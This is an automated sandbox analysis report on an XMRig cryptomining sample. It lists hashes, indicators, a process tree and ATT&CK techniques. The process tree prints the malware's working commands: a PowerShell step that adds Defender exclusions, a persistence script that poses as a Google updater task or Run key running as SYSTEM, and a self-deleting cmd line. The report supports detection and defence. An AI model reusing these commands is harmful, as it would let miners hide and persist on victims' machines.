xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1783s
max time network
1800s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25-01-2024 16:55

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General

Target

grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 688 created 1244	688	UU4Ddwqm5zcuLzGR.exe	11
PID 688 created 1244	688	UU4Ddwqm5zcuLzGR.exe	11
PID 688 created 1244	688	UU4Ddwqm5zcuLzGR.exe	11
PID 688 created 1244	688	UU4Ddwqm5zcuLzGR.exe	11
PID 3048 created 1244	3048	updater.exe	11
PID 3048 created 1244	3048	updater.exe	11
PID 3048 created 1244	3048	updater.exe	11
PID 3048 created 1244	3048	updater.exe	11
PID 760 created 1244	760	conhost.exe	11
PID 3048 created 1244	3048	updater.exe	11

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral13/memory/528-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/528-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2256	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3048	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2220	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral13/memory/528-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/528-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3048 set thread context of 760	3048	updater.exe	48
PID 3048 set thread context of 528	3048	updater.exe	54

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	UU4Ddwqm5zcuLzGR.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2680	schtasks.exe
1664	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1520	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 60d7da82b24fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
688	UU4Ddwqm5zcuLzGR.exe
688	UU4Ddwqm5zcuLzGR.exe
2132	powershell.exe
688	UU4Ddwqm5zcuLzGR.exe
688	UU4Ddwqm5zcuLzGR.exe
2776	powershell.exe
688	UU4Ddwqm5zcuLzGR.exe
688	UU4Ddwqm5zcuLzGR.exe
688	UU4Ddwqm5zcuLzGR.exe
688	UU4Ddwqm5zcuLzGR.exe
2344	powershell.exe
3048	updater.exe
3048	updater.exe
1216	powershell.exe
3048	updater.exe
3048	updater.exe
1640	powershell.exe
3048	updater.exe
3048	updater.exe
3048	updater.exe
3048	updater.exe
760	conhost.exe
760	conhost.exe
3048	updater.exe
3048	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
472	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	1216	powershell.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	3048	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1520	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1520	WMIC.exe
Token: SeSecurityPrivilege	1520	WMIC.exe
Token: SeTakeOwnershipPrivilege	1520	WMIC.exe
Token: SeLoadDriverPrivilege	1520	WMIC.exe
Token: SeSystemtimePrivilege	1520	WMIC.exe
Token: SeBackupPrivilege	1520	WMIC.exe
Token: SeRestorePrivilege	1520	WMIC.exe
Token: SeShutdownPrivilege	1520	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1520	WMIC.exe
Token: SeUndockPrivilege	1520	WMIC.exe
Token: SeManageVolumePrivilege	1520	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1520	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1520	WMIC.exe
Token: SeSecurityPrivilege	1520	WMIC.exe
Token: SeTakeOwnershipPrivilege	1520	WMIC.exe
Token: SeLoadDriverPrivilege	1520	WMIC.exe
Token: SeSystemtimePrivilege	1520	WMIC.exe
Token: SeBackupPrivilege	1520	WMIC.exe
Token: SeRestorePrivilege	1520	WMIC.exe
Token: SeShutdownPrivilege	1520	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1520	WMIC.exe
Token: SeUndockPrivilege	1520	WMIC.exe
Token: SeManageVolumePrivilege	1520	WMIC.exe
Token: SeLockMemoryPrivilege	528	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 2680	2776	powershell.exe	34
PID 2776 wrote to memory of 2680	2776	powershell.exe	34
PID 2776 wrote to memory of 2680	2776	powershell.exe	34
PID 2256 wrote to memory of 1496	2256	cmd.exe	39
PID 2256 wrote to memory of 1496	2256	cmd.exe	39
PID 2256 wrote to memory of 1496	2256	cmd.exe	39
PID 2344 wrote to memory of 2232	2344	powershell.exe	40
PID 2344 wrote to memory of 2232	2344	powershell.exe	40
PID 2344 wrote to memory of 2232	2344	powershell.exe	40
PID 2220 wrote to memory of 3048	2220	taskeng.exe	42
PID 2220 wrote to memory of 3048	2220	taskeng.exe	42
PID 2220 wrote to memory of 3048	2220	taskeng.exe	42
PID 1640 wrote to memory of 1664	1640	powershell.exe	47
PID 1640 wrote to memory of 1664	1640	powershell.exe	47
PID 1640 wrote to memory of 1664	1640	powershell.exe	47
PID 3048 wrote to memory of 760	3048	updater.exe	48
PID 764 wrote to memory of 1520	764	cmd.exe	53
PID 764 wrote to memory of 1520	764	cmd.exe	53
PID 764 wrote to memory of 1520	764	cmd.exe	53
PID 3048 wrote to memory of 528	3048	updater.exe	54

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1244
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2680
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1664
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:760
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1908
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:764
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1520
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:528

C:\Windows\system32\taskeng.exe
taskeng.exe {A6B1229B-D13F-4BE6-B086-8EE756DB50B4} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
bd9f7ef673ddef3dfae2bd6606a20ce6

SHA1
b3717fe7183960fc109b0e2c4806e767eb055a03

SHA256
22b6b7c3f5c3cbbb409e9d48a660af723a1e237370becebd144af95a9adf78a4

SHA512
654de2ceea6351a0a2c7bdfa33a2d8e0adc9407d96de34e60ec0730c17f949fa68cb976f7981e95906d4cfb313337dda1ced260b4ec8dd665d2c0045c27d717f

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/528-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-82-0x0000000000D40000-0x0000000000D60000-memory.dmp

Filesize
128KB

Download
memory/528-83-0x0000000000D60000-0x0000000000D80000-memory.dmp

Filesize
128KB

Download
memory/528-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-71-0x0000000000D40000-0x0000000000D60000-memory.dmp

Filesize
128KB

Download
memory/528-72-0x0000000000D60000-0x0000000000D80000-memory.dmp

Filesize
128KB

Download
memory/528-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/528-66-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download
memory/688-29-0x000000013F2E0000-0x000000013F4F1000-memory.dmp

Filesize
2.1MB

Download
memory/688-0-0x000000013F2E0000-0x000000013F4F1000-memory.dmp

Filesize
2.1MB

Download
memory/688-25-0x000000013F2E0000-0x000000013F4F1000-memory.dmp

Filesize
2.1MB

Download
memory/760-77-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/760-73-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1216-51-0x0000000001150000-0x00000000011D0000-memory.dmp

Filesize
512KB

Download
memory/1216-47-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

Filesize
9.6MB

Download
memory/1216-48-0x0000000001150000-0x00000000011D0000-memory.dmp

Filesize
512KB

Download
memory/1216-49-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

Filesize
9.6MB

Download
memory/1216-50-0x0000000001150000-0x00000000011D0000-memory.dmp

Filesize
512KB

Download
memory/1216-53-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

Filesize
9.6MB

Download
memory/1216-52-0x0000000001150000-0x00000000011D0000-memory.dmp

Filesize
512KB

Download
memory/1640-55-0x0000000001100000-0x0000000001180000-memory.dmp

Filesize
512KB

Download
memory/1640-56-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/1640-54-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/1640-61-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/1640-57-0x0000000001100000-0x0000000001180000-memory.dmp

Filesize
512KB

Download
memory/1640-59-0x0000000001100000-0x0000000001180000-memory.dmp

Filesize
512KB

Download
memory/1640-58-0x0000000001100000-0x0000000001180000-memory.dmp

Filesize
512KB

Download
memory/2132-8-0x0000000002450000-0x0000000002458000-memory.dmp

Filesize
32KB

Download
memory/2132-7-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2132-9-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2132-11-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2132-5-0x000000001B1B0000-0x000000001B492000-memory.dmp

Filesize
2.9MB

Download
memory/2132-10-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2132-12-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2132-13-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2132-6-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2344-38-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2344-40-0x000000000264B000-0x00000000026B2000-memory.dmp

Filesize
412KB

Download
memory/2344-42-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2344-41-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2344-39-0x0000000002644000-0x0000000002647000-memory.dmp

Filesize
12KB

Download
memory/2344-37-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2344-36-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-20-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

Filesize
9.6MB

